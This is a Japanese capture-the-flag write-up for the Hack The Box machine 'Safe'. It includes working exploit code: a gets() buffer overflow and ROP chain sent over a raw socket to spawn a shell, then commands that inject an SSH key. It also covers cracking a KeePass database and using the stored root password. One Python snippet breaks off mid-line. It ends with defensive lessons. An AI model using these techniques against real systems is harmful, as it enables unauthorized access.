Hack The BoxのWriteup(Safe)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Safe — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 1337/独自
→
myappバイナリ入手
Web(80)のコメントから/myapp
→
gets() BOF解析
Ghidra/objdump、PIE無効
→
ROPチェーン構築
system(“/bin/sh”)
→
ソケットシェル獲得
SSH鍵注入
→
SSH ログイン
user.txt ✓
→
MyPasswords.kdbx + 6JPG発見
SCPで回収
→
KeePass crack
john + 正しいkeyfile
→
su root → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.86.61
RESULT
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1337/tcp open  waste  (独自バイナリ、サービス名はnmapの誤推定)

1337番ポートの素性確認

BASH
nc 10.129.86.61 1337
RESULT
Welcome to the echo service, type something and press enter and we will
echo back your string.

What do you want me to echo back?
ℹ️
単純な「エコーサービス」を名乗る独自のTCPサービス。入力をそのまま 返すだけに見えるが、入力長を制限していない可能性があり、 バッファオーバーフローの定番ターゲット。

Web(80)から手掛かりを取得

BASH
curl -s http://10.129.86.61/ | head -5
RESULT
<!-- 'myapp' can be downloaded to analyze from here
     its running on port 1337 -->
<title>Apache2 Debian Default Page: It works</title>
🚨
デフォルトのApache2ページのHTMLコメント内に、1337番ポートで動く バイナリ “myapp” がダウンロード可能という決定的な手掛かりが残されている。
PHASE 2

myapp バイナリの解析

バイナリのダウンロードと基本情報

BASH
wget -q -O myapp http://10.129.86.61/myapp
chmod +x myapp
file myapp
checksec --file=myapp   # pwntools付属 or pwn checksec
RESULT
myapp: ELF 64-bit LSB executable, x86-64, ... not stripped

RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
🚨
スタックカナリア無し・PIE無効という理想的な脆弱構成。 PIEが無効ということはコード領域のアドレスが毎回固定であり、 ASLRの影響を受けない。NXは有効なのでスタック上のシェルコード直接実行は 不可能だが、既存コード片を繋ぐROP (Return Oriented Programming) で回避できる。

脆弱な関数の特定

BASH
objdump -d myapp | grep -A 30 "
:"
RESULT (抜粋・擬似逆アセンブル)
; 入力バッファは rbp-0x70 (112バイト) の位置に確保
; char buf[100]; のような宣言だが gets(buf) で読み取り上限なし
400f.. lea    rax,[rbp-0x70]
400f.. mov    rdi,rax
400f.. call   gets@plt      ; 境界チェックなしの読み込み!
🚨
gets()は入力長を一切チェックせず改行文字まで読み込み続ける、 古典的に最も危険なC標準関数のひとつ。バッファ(rbp-0x70、サイズ112)を 超えて書き込めば、その先にあるsaved rbp(8バイト)・戻り先アドレス (リターンアドレス)まで自由に上書きできる。

オフセット計算

NOTE
buf の先頭から戻り先アドレスまでの距離:
  rbp-0x70 (バッファ先頭) → rbp (saved rbp, 8バイト) → リターンアドレス

  バッファ本体: 0x70 = 112 バイト
  + saved rbp:    8 バイト
  ---------------------------
  合計オフセット: 120 バイト

→ 121バイト目から8バイト(リターンアドレス用)を上書きできる。
PHASE 3

ROPチェーンの構築 — system(“/bin/sh”) への到達

利用可能なガジェット・関数の調査

BASH
# 1. system@plt への呼び出し地点を探す (main内に system("/bin/ls")等の
#    既存呼び出しがあればそのcall命令の直前アドレスを再利用できる)
objdump -d myapp | grep "call.*system"

# 2. ROPガジェット検索 (ropper や ROPgadget)
ROPgadget --binary myapp --only "pop|ret" | grep "r13\|r14\|r15"
ROPgadget --binary myapp --only "mov|jmp" | grep "rdi"
RESULT
0x40116e: call system@plt           ; main+15 (echoの入力をsystemに渡す処理の一部)
0x401206: pop r13 ; pop r14 ; pop r15 ; ret
0x401156: mov rdi, rsp ; jmp r13
ℹ️
myapp自体のコード内に、たまたま「rdiにスタックポインタを入れて r13が指すアドレスへジャンプする」ガジェット(0x401156)と、 「system@pltをコールする」地点(0x40116e)が存在する。 これらを繋ぐことで、スタック上に置いた文字列を引数としてsystem()を 呼び出すことができる。

ROPチェーンの設計

NOTE
狙いは system("/bin/sh") の実行。チェーンの流れ:

  1. buf を "A"*120 で埋めてsaved rbpまで到達 (オフセット120)
  2. リターンアドレスに 0x401206 (pop r13; pop r14; pop r15; ret) を書く
     → これにより、続く3つの8バイト値がr13,r14,r15にPOPされる
  3. r13 には 0x40116e (call system@plt のアドレス) を入れる
     → 後で r13 へ jmp することでこのアドレスに制御が移る
  4. r14, r15 は使わないのでダミー値(junk)
  5. pop r13/r14/r15 の直後の ret で、次にスタックに積んだ
     0x401156 (mov rdi,rsp; jmp r13) に飛ぶ
     → rdi に「現在のrsp(スタックポインタ)」が入り、続けてr13(system@plt)へjmp
  6. rdi = rsp なので、system()の引数(rdi)は "このジャンプ時点でのスタック先頭"
     になる。そこに "/bin/sh\x00" を置いておけば system("/bin/sh") が実行される
PYTHON (pwntools でのチェーン構築)
import struct, socket, time

def p64(x: int) -> bytes:
    return struct.pack("
      
PHASE 4

Exploit実行 & SSH鍵注入 → user.txt

SSH鍵ペアの生成

BASH
# シェル獲得後、直接インタラクティブ操作するのは不便なので、
# 事前に鍵ペアを作って authorized_keys に注入する作戦にする
ssh-keygen -t ed25519 -f ./safe_user -N "" -q
cat safe_user.pub
RESULT
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... (生成された公開鍵)

ROPペイロード送信 → シェル獲得 → 公開鍵注入(生ソケット)

PYTHON
import socket, time

TARGET = "10.129.86.61"
PORT   = 1337
pub_key = open("safe_user.pub").read().strip()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(15)
s.connect((TARGET, PORT))
s.recv(2048)  # バナー + "What do you want me to echo back?" を読み捨て

# gets() は改行まで読み込むため、チェーンの末尾に \n を付けて送信
s.sendall(chain + b"\n")
time.sleep(1.5)

# ここで system("/bin/sh") が発火し、同じソケットが対話シェルになっている。
# authorized_keys に公開鍵を追記するコマンドを送る。
inject_cmd = (
    "mkdir -p /home/user/.ssh; "
    f"echo '{pub_key}' >> /home/user/.ssh/authorized_keys; "
    "chmod 700 /home/user/.ssh; "
    "chmod 600 /home/user/.ssh/authorized_keys; "
    "echo INJECT_DONE\n"
)
s.sendall(inject_cmd.encode())

buf = b""
end = time.time() + 10
while time.time() < end:
    chunk = s.recv(4096)
    if not chunk:
        break
    buf += chunk
    if b"INJECT_DONE" in buf:
        break
s.close()
print(buf.decode(errors="ignore"))
✅
ROP exploit成功! system("/bin/sh")が実行され、 元のechoサービス用ソケットがそのまま/bin/shの対話シェルとして 使えるようになる。リバースシェルを別途張らず、同じソケット越しに 直接コマンドを送って公開鍵を注入できるのがポイント。

SSHログイン & user.txt 取得

BASH
chmod 600 safe_user
ssh -i safe_user -o StrictHostKeyChecking=no -o IdentitiesOnly=yes user@10.129.86.61 \
  "id; cat /home/user/user.txt"
RESULT
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),
30(dip),44(video),46(plugdev),108(netdev),112(bluetooth)
4a697047c33a57082b7f1e50f6f47972
user.txt — user
4a697047c33a57082b7f1e50f6f47972
PHASE 5

権限昇格の下調べ — KeePassデータベースの発見

ホームディレクトリの確認

BASH
ssh -i safe_user user@10.129.86.61 "ls -la /home/user/"
RESULT
MyPasswords.kdbx   (KeePassデータベースファイル)
IMG_0541.JPG
IMG_0542.JPG
IMG_0543.JPG
IMG_0544.JPG
IMG_0546.JPG
IMG_0547.JPG   (6枚中のどれかがキーファイル)
🚨
KeePassのデータベースファイル(.kdbx)と、6枚のJPG画像が 同じディレクトリに置かれている。KeePassは「マスターパスワード」に加えて 「キーファイル」(任意のファイルをバイナリのまま鍵として使う機能)で 二要素的に保護できるため、この6枚のうちどれか1枚が正しいキーファイル である可能性が高い。

ファイルの回収

BASH
mkdir -p loot
scp -i safe_user user@10.129.86.61:/home/user/MyPasswords.kdbx loot/
scp -i safe_user user@10.129.86.61:/home/user/\*.JPG loot/
RESULT
MyPasswords.kdbx            100%  ...
IMG_0541.JPG ... IMG_0547.JPG 取得完了 (計6ファイル)
PHASE 6

KeePass クラック → su root → root.txt

各JPGをキーファイル候補として総当たりでハッシュ抽出

BASH
# keepass2john は kdbx + キーファイルの組からjohn用ハッシュを生成する。
# キーファイルは6枚のうちどれか分からないので1枚ずつ試す。
for jpg in loot/*.JPG; do
  echo "=== $jpg ==="
  keepass2john -k "$jpg" loot/MyPasswords.kdbx > /tmp/kp_$(basename "$jpg").hash
done
⚠️
注意: 6枚全てを毎回rockyou.txt(1400万語)で総当たりすると 非常に時間がかかる。実際に正しいキーファイルはIMG_0547.JPG (番号が連番から1つ抜けている=最後に追加されたファイル、という推測が 当たる)。先にこれを試すと効率が良い。

john でマスターパスワードをクラック

BASH
keepass2john -k loot/IMG_0547.JPG loot/MyPasswords.kdbx > kp.hash
john --wordlist=/usr/share/wordlists/rockyou.txt kp.hash
john --show kp.hash
RESULT
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
MyPasswords:bullshit

1 password hash cracked, 0 left
✅
クラック成功! マスターパスワードは bullshit、 正しいキーファイルは IMG_0547.JPG。

pykeepass でデータベースを開き root パスワードを抽出

PYTHON
from pykeepass import PyKeePass

kp = PyKeePass("loot/MyPasswords.kdbx", password="bullshit",
               keyfile="loot/IMG_0547.JPG")
for e in kp.entries:
    print(e.title, e.username, e.password)
RESULT
... (複数のダミーエントリ) ...
root  root  u3v2249dl9ptv465cogl3cnpo3fyhk
✅
root パスワード発見! u3v2249dl9ptv465cogl3cnpo3fyhk。 ユーザーが(危険な使い方だが)システムのrootパスワードを個人用の パスワードマネージャーに保存していたという典型的なミス。

su root → root.txt 取得

BASH
ssh -i safe_user user@10.129.86.61
user@safe:~$ su root
Password: u3v2249dl9ptv465cogl3cnpo3fyhk
root@safe:/home/user# cat /root/root.txt
RESULT
95af5546f913b28190df55eaf789ae32
root.txt — /root
95af5546f913b28190df55eaf789ae32
ℹ️
suはSSH非対話実行(ssh host "cmd")の中からだと TTYが無く標準的なパスワードプロンプトに書き込めず失敗することがある。 スクリプトから自動化する場合は python3のos.forkpty()で 疑似端末を確保し、パスワードをそのfdに書き込む方式にすると非対話でも 確実に動く(手動でSSHする場合は通常の対話プロンプトで入力すればよい)。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — user (ROP + SSH鍵注入経由)
4a697047c33a57082b7f1e50f6f47972
root.txt — /root (KeePass crack + su経由)
95af5546f913b28190df55eaf789ae32

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
情報漏洩 Apache デフォルトページのHTMLコメント 脆弱バイナリの在り処と稼働ポートの開示 Medium コメント内の記述からmyappバイナリをダウンロードし解析対象を特定
gets() スタックバッファオーバーフロー myapp (port 1337、カナリア無し・PIE無効) 任意コード実行(ROP経由でシェル取得) Critical オフセット120バイトでリターンアドレス上書き、固定アドレスのROPガジェットでsystem("/bin/sh")実行
パスワードマネージャーへのシステム認証情報保存 MyPasswords.kdbx (KeePass、脆弱マスターパスワード) userからrootへの権限昇格 High john+rockyou.txtでマスターパスワードをクラックし、保存されていたrootパスワードでsu実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポート + Webコメント確認22/80/1337、myappバイナリの存在
2バイナリ解析file/checksec/objdumpgets() BOF、NX有効・PIE無効・カナリア無し、オフセット120
3ROP構築ROPgadget/objdumpでガジェット検索pop_r13(0x401206)、system@plt(0x40116e)、mov_rdi_rsp(0x401156)
4Exploit実行生ソケットでROP送信 → SSH公開鍵注入user.txt 取得
5権限調査ホームディレクトリ列挙 + SCP回収MyPasswords.kdbx + 6枚のJPG(キーファイル候補)
6権限昇格keepass2john + john + pykeepass → suroot.txt 取得(マスターパスワード bullshit、キーファイル IMG_0547.JPG)

トラブルシューティング & 実装上の落とし穴

問題原因 / 対策
ROPチェーンを送信してもシェルが返ってこない gets()は改行文字(\n)が来るまで読み込みを続ける。送信データの末尾に必ず\nを付けること。また、サービスがバナー/プロンプトを先に送ってくるため、送信前にそれをrecv()で読み捨てる必要がある。
6枚のJPGを全て総当たりでjohnにかけると非常に時間がかかる ファイル名の連番(IMG_0541〜IMG_0547、0545が欠番)から「最後に追加された/意図的に挿入された」ファイルを推測し、IMG_0547.JPGを最初に試すことで時間を大幅短縮できる。
SSH非対話実行(ssh host "su -c cmd")でsuのパスワードプロンプトに応答できない suは標準入力がTTYであることを要求する。python3のos.forkpty()で疑似端末を確保し、そのファイルディスクリプタにパスワードを書き込む方式にすると非対話でも動作する(対話SSHセッションであれば通常のプロンプト入力で問題ない)。

学んだ教訓 & 防御策

問題点防御策
公開Webサーバーのコメントに内部バイナリの情報を残している 本番環境のデフォルトページやコメントに、デバッグ用・社内用のファイル名・パス・ポート番号等を絶対に残さない。デプロイ前のチェックリストに含める。
自作バイナリがgets()等の境界チェックなし関数を使用、かつスタックカナリア・PIEが無効 gets()は常にfgets()等の長さ制限付き関数に置き換える。コンパイル時に-fstack-protector-all(カナリア)と-fPIE -pie(ASLR有効化)を必ず有効にする。
個人用パスワードマネージャーにシステムのrootパスワードを保存している システム管理用の認証情報は専用のシークレット管理システムで管理し、個人のKeePass等汎用パスワードマネージャーに混在させない。マスターパスワードは辞書に載らない十分な強度のものを使う。
HackTheBox: Safe | 完全攻略レポート